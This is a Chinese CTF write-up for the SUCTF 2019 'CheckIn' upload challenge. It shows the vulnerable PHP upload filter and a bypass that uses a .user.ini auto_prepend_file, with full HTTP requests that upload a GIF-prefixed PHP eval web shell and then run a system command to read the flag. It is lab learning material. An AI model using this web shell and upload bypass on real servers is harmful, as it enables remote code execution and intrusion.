[SUCTF 2019]CheckIn

发布时间 2023-11-02 21:37:18作者: imtaieee

题目给出了源码,如下。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看到,题目不允许上传后缀名中有 phhtaccess 的文件,同时也不允许上传文件内容中存在 <? 的文件,最后还要求文件通过 exif_imagetype 检测。
因此,可以利用 .user.ini 机制上传。

利用 .user.ini 的前提是服务器开启了 CGI 或者 FastCGI,并且上传文件的存储路径下有 index.php 等可执行文件。
.user.ini 中两个中的配置就是 auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如 1.jpg),那么该文件就会被包含在要执行的 PHP 文件中(如 index.php),相当于在 index.php 中插入一句:require(./1.jpg)。这两个设置的区别只是在于 auto_prepend_file 是在文件前插入,auto_append_file 在文件最后插入。

通过分析源码及观察上传文件后的响应包,可以发现,在用户上传的文件的位置存在一个 index.php 文件,因此可以使用 .user.ini

HTTP/1.1 200 OK
Server: openresty
Date: Thu, 02 Nov 2023 13:22:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 736

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

Your dir uploads/c55e0cb61f7eb238df09ae30a206e5ee <br>Your files : <br>array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(5) "1.jpg"
  [3]=>
  string(9) "index.php"
}

因此,首先上传一个图片马,如下。

POST /index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6i2QHAOKIWDf1uox
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpeg

GIF9
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary6i2QHAOKIWDf1uox--

随后,上传一个 .user.ini 文件,让该目录下的所有 PHP 文件都包含 1.jpg 文件(即刚刚上传的图片马)。

POST /index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6i2QHAOKIWDf1uox
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF9
auto_prepend_file = 1.jpg
------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary6i2QHAOKIWDf1uox--

在这里,不知为何,用蚁剑或菜刀都无法连接上 shell,因此,直接访问 shell 去执行系统命令拿到 flag 即可。

POST /uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

cmd=system("cat /flag");